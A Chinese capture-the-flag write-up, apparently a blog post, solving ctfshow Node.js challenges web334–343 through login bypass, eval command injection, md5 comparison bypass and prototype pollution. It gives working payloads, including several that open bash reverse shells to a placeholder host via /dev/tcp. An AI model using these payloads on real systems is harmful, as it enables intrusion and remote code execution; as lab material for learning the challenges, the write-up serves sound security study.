文章目录

  • web334
  • web335
  • web336
  • web337
  • web338
  • web339
  • web340
  • web341
  • web342、web343

web334

给了附件,然后进入后发现是一个登录框。

在附件中知道了账号密码,但是却无法登录。

先看user从哪里获取:

var user = findUser(req.body.username, req.body.password);

发现用的是findUser方法,找到该方法。

var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};

会发现,有一个name不能等于CTFSHOW,但最终的username又经过了name.toUpperCase()方法,搜一下该方法。

所以输入一个不是全大写的ctfshow即可。

payload:

username=ctfSHOW&password=123456

web335

这一题源码里有一个/?eval=

明显想让我用eval函数,去学一下js的eval函数用法。

找到了

[child_process.execSync(command, options]) | Node.js API 文档 (nodejs.cn)

利用child_process.execSync()方法配合eval进行命令执行。

payload:

?eval=require(%27child_process%27).execSync(%27cat%20fl00g.txt%27)

web336

和335一样同样是命令执行,尝试几次后发现exec被过滤,去找一下child_process中是否有其它函数可以用。

找到了好几种函数,用spawnSync函数试一下。

直接按照上一题改的话不行

要两部分,分开一下。

payload:

?eval=require("child_process").spawnSync(%27ls%27,[%27./%27]).stdout.toString()

然后就可以直接读取flag,大不太明白stdout是啥,上网看一下。

是一个输出流函数,刚学过java输出流,原理应该差不多。

所以理所应当output也可以:

?eval=require("child_process").spawnSync(%27ls%27,[%27./%27]).output.toString()

然后看了其他师傅的解题思路。

学到了一个小知识点。

知道路径后便可以利用readFileSync函数来读取文件

payload:

?eval=require(%27fs%27).readFileSync(%27/app/routes/index.js%27,%20{encoding:%27utf8%27,%20flag:%27r%27})

还有师傅想到可以用拼接来绕过过滤:

?eval=require(%27child_process%27)[%27exe%27%2B%27cSync%27](%27cat%20fl001g.txt%27).toString()

web337

题目给了源码,源码看起来和简单:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

一个简单的md5绕过,本来以为和php的md5一样,直接给开头都是0e的两个长度相同的字符串就行,试了之后发现行不通。

var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}let a='0e1'
let c='0e2'
let b = a+"flag{666}"
console.log(md5(a))
console.log(md5(c))
if(md5(a)===md5(c)){console.log("success")
}

可见js的md5加密后并不会将0e开头的字符当成0,尝试了可以利用对象的形式绕过:

var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}let a={1:'2'
}
let c={1:'2'
}
let b = a+"flag{666}"
let d = c+"flag{666}"
console.log(b)
console.log(c)
console.log(md5(b))
console.log(md5(d))

本地成功后但在网页上一直没成功。

数组绕过:

?a[]=1&b[]=1

去看一下原理。

var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}let a=[1]
let c=1
let b = a+"flag{666}"
let d = c+"flag{666}"
console.log(a)
console.log(c)
console.log(b)
console.log(d)
console.log(md5(b))
console.log(md5(d))
if(a!==c){console.log("success1")
}
if(md5(b)===md5(d)){console.log("success2")
}

payload:

?a[]=a&b=a

这样也行,js拼接特点。

web338

给了源码,直接到路由routes,看重点:

secert.ctfshow==='36dboy'

secetr是一个对象,想要修改secert属性,因为secetr无法控制,想到了原型链污染。

简单写个demo:

let user = {a: 1}
let secert = {}
user.__proto__.ctfshow = 2
console.log(user.ctfshow)
console.log(secert.ctfshow)

运行后会发现,我修改了user.__proto__中ctfshow这个属性的值,然而secret中ctfshow属性的值,严格来说应该是secret.proto.ctfshow的值,思路有了,修改object中ctfshow的值,因为node.js的特点,secert.ctfshow的值也会被修改。

题目页面是一个登陆页面,刚好也是一个json解析。

payload:

{"__proto__":{"ctfshow":"36dboy"}}

web339

和上一题很相似,但条件变了。

让secert.ctfshow等于flag才打印出来flag,我们目的是得到flag,果断放弃这个点。

多了一个api接口:

query中的Function内容可以用原型链污染来控制(模板渲染)。

因为是function,可以用global.process.mainModule.constructor._load来加载child_process(require会报错),然后利用exec来反弹shell。

payload:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

web340

和上一题一样,不过

  var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}
user.__proto__并不是Object.prototype,user.__proto.__proto__才是

套两层即可。

查看环境变量时就会发现

query已经被修改。

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxxx 0>&1\"')"}}}

web341

和上边差不多,不过这次污染的是outputFunctionName这条链。

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}}

web342、web343

网上的链子:

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxxx/xxxx 0>&1\"')"}}}

ctfshow node.js专题相关推荐

  1. ctfshow—Node.js漏洞总结

    1 Js大小写绕过 ctfshow web334 下载源码 var findUser = function(name, password){return users.find(function(ite ...

  2. 【特别推荐】Node.js 中文学习资料和教程导航

    这篇文章来自 Github 上的一位开发者收集整理的 Node.js 中文学习资料和教程导航.Node 是一个服务器端 JavaScript 解释器,它将改变服务器应该如何工作的概念,它的目标是帮助程 ...

  3. Node.js 4.x 入门实战视频课程【讲师辅导】-曾亮-专题视频课程

    Node.js 4.x 入门实战视频课程[讲师辅导]-15843人已学习 课程介绍         [会员免费]链接 http://edu.csdn.net/lecturer/585 右侧办理会员卡. ...

  4. HTML5/Node.js/JS 经验谈 (会员专属)【讲师辅导】-曾亮-专题视频课程

    HTML5/Node.js/JS 经验谈 (会员专属)[讲师辅导]-5481人已学习 课程介绍         QQ 1405491181 链接 http://edu.csdn.net/lecture ...

  5. Node.js CQRS 幻灯片系统开发实战-曾亮-专题视频课程

    Node.js CQRS 幻灯片系统开发实战-328人已学习 课程介绍         通过 Node.js . Express 和 CQRS 技术开发幻灯片系统. 我们已经习惯于 MVC 开发,也都 ...

  6. Node.js 6.x 入门-曾亮-专题视频课程

    Node.js 6.x 入门-2484人已学习 课程介绍         链接 http://edu.csdn.net/lecturer/585 右侧可办理会员卡.会员可免费看曾老师已出,和会员期内发 ...

  7. Node.js(MEAN)全栈开发入门-安晓辉-专题视频课程

    Node.js(MEAN)全栈开发入门-28082人已学习 课程介绍         本课程从Node.js切入,以实现一个Web管理系统为目标,以点带面地介绍MEAN技术栈(MongoDB+Expr ...

  8. 跟李宁老师做项目:小程序版网上商城(Node.js + Express + MySQL)-李宁-专题视频课程...

    跟李宁老师做项目:小程序版网上商城(Node.js + Express + MySQL)-8799人已学习 课程介绍         本课程采用的技术包括小程序开发.Node.js.Express和M ...

  9. 项目实战视频课程:美团小程序(Node.js+Express+支付)-李宁-专题视频课程

    项目实战视频课程:美团小程序(Node.js+Express+支付)-473人已学习 课程介绍         小程序视频教程,本课程实现了美团小程序的核心部分.采用异步的方式,通过AJAX从服务端获 ...

最新文章

  1. ThinkPHP3.2 volist嵌套循环显示原理
  2. python程序员脱单攻略_520 情人节 :属于 Python 程序员的脱单攻略大合集(视频版)...
  3. 使用OpenCV库快速求解相机内参
  4. linux安装mongo卸载mongo,CentOS7安装及卸载MongoDB.md
  5. linux:文件及目录管理
  6. 【神经网络】2. 神经网络设计过程
  7. 偏微分方程数值解主要步骤
  8. 关于代付和分账系统的区别
  9. 微信如何推送html文件,微信推送怎么附上文件_怎样在微信公众号上传附件图文步骤...
  10. 正常图片转灰色图片——灰度图
  11. 程序设计基本结构———顺序、选择与循环
  12. 标准差(standard deviation)
  13. 什么除酵节?什么是逾越节?
  14. SLCP验厂辅导,工厂进行社会劳工整合项目(SLCP认证)验证的具体步骤是
  15. 在三线城市工作爽吗?
  16. 如何注册全部DLL文件以及DLL简要说明
  17. MySQL工程师干什么,MySQL DBA工程师岗位职责
  18. requests爬取去哪儿网站
  19. 利用百度地图,实现移动端附近门店功能
  20. css3模板替换php,将ECSHOP的首页主广告轮播替换为CSS+JS,最模板方法一(2)

热门文章

  1. [CocosCreator]热更新插件使用心得以及注意事项
  2. IOS 隐私政策网址 URL MG
  3. SQL查询某个时间段购买过商品的所有用户
  4. 人工智能自动sql优化工具--SQLTuning for SQL Server
  5. 数理统计方差齐性检验Python实现
  6. 一文搞懂前台,后台,中台,前端,后端,管理端,业务端,技术中台,业务中台,数据中台,物联网中台到底是什么?
  7. Ubuntu14.04安装有道词典
  8. 远程桌面 域计算机,在AD中实现仅普通域用户可通过远程桌面控制自身计算机
  9. 手机token登入软件_app开发调试工具_app开发token使用
  10. Vue启动项目报错:Can‘t resolve ‘xxx‘ in ‘D:\briup\vue_test\node_modules\send‘